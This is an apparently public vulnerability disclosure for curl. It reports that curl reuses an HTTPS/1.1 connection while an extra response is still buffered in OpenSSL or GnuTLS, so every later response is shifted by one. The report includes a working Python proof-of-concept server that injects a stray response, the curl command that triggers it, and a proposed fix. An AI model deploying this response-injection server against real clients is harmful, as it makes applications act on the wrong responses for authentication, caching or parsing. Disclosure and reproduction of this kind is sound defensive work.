HexBrain

curl · Report #4128703

curl reuses an HTTPS connection when a response is already buffered in the TLS stack

N/Astatus
mediumseverity
5upvotes
20 Oct 2026disclosed

How it was found

curl master (15292ed75, 8.23.1-DEV) reuses an idle HTTP/1.1-over-TLS connection even when a complete extra response is already buffered in OpenSSL/GnuTLS. The ef6b17cf1 fix only polls the socket: Curl_cpool_conn_seems_healthy() (lib/conncache.c:1073, called from lib/url.c:1071) uses Curl_conn_is_alive(), and cf_ssl_is_alive() (lib/vtls/vtls.c:1287) delegates to cf_socket_conn_is_alive() (lib/cf-socket.c:1811) without checking TLS buffers. The body read is clamped to Content-Length (lib/transfer.c:187), so the TLS read decrypts a whole record, returns the body, and leaves the stray response buffered while the socket is empty. Reproduced on OpenSSL 3.0.13 and GnuTLS 3.8.3 (OpenSSL also with full certificate verification): /b gets stray instead of second, and every later response is shifted by one (RFC 9112 section 9.2). Plain HTTP is correctly not reused, and tests/data/test1701 only covers <server>http</server>, so the fix has no TLS coverage. Fix: make cf_ssl_is_alive() report SSL_pending()/SSL_has_pending() (or the backend equivalent) as pending input, and add an HTTPS variant of test 1701.

Proof of Concept

openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem \
  -days 1 -subj /CN=localhost
python3 poc.py 9443

poc.py:

import socket, ssl, sys, time
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain("cert.pem", "key.pem")
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", int(sys.argv[1])))
srv.listen(1)
c, _ = srv.accept()
s = ctx.wrap_socket(c, server_side=True)
req = b""
while b"\r\n\r\n" not in req:
    req += s.recv(4096)
s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\n")
time.sleep(0.3)
s.sendall(b"first" + b"HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nstray")
time.sleep(0.3)
s.settimeout(3.0)
try:
    s.recv(4096)  # second request on the reused connection
    s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 6\r\n\r\nsecond")
except OSError:
    pass
s.close()

Then:

curl -k -sS --http1.1 -w '\n' https://127.0.0.1:9443/a https://127.0.0.1:9443/b

Expected (fixed):

first
second

Actual:

first
stray

curl -v shows Reusing existing https: connection for /b. The PoC uses a single connection; if curl correctly opens a new one, /b stalls or is refused.

Impact

On a reused HTTPS/1.1 connection, a server can make curl bind a response it sent earlier to a later request. The real response remains unread, so every subsequent response is one request behind. Applications that rely on the one-response-per-request mapping (authentication, caching, parsing, multi-resource fetches on one handle) can act on the wrong response, violating RFC 9112 section 9.2.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original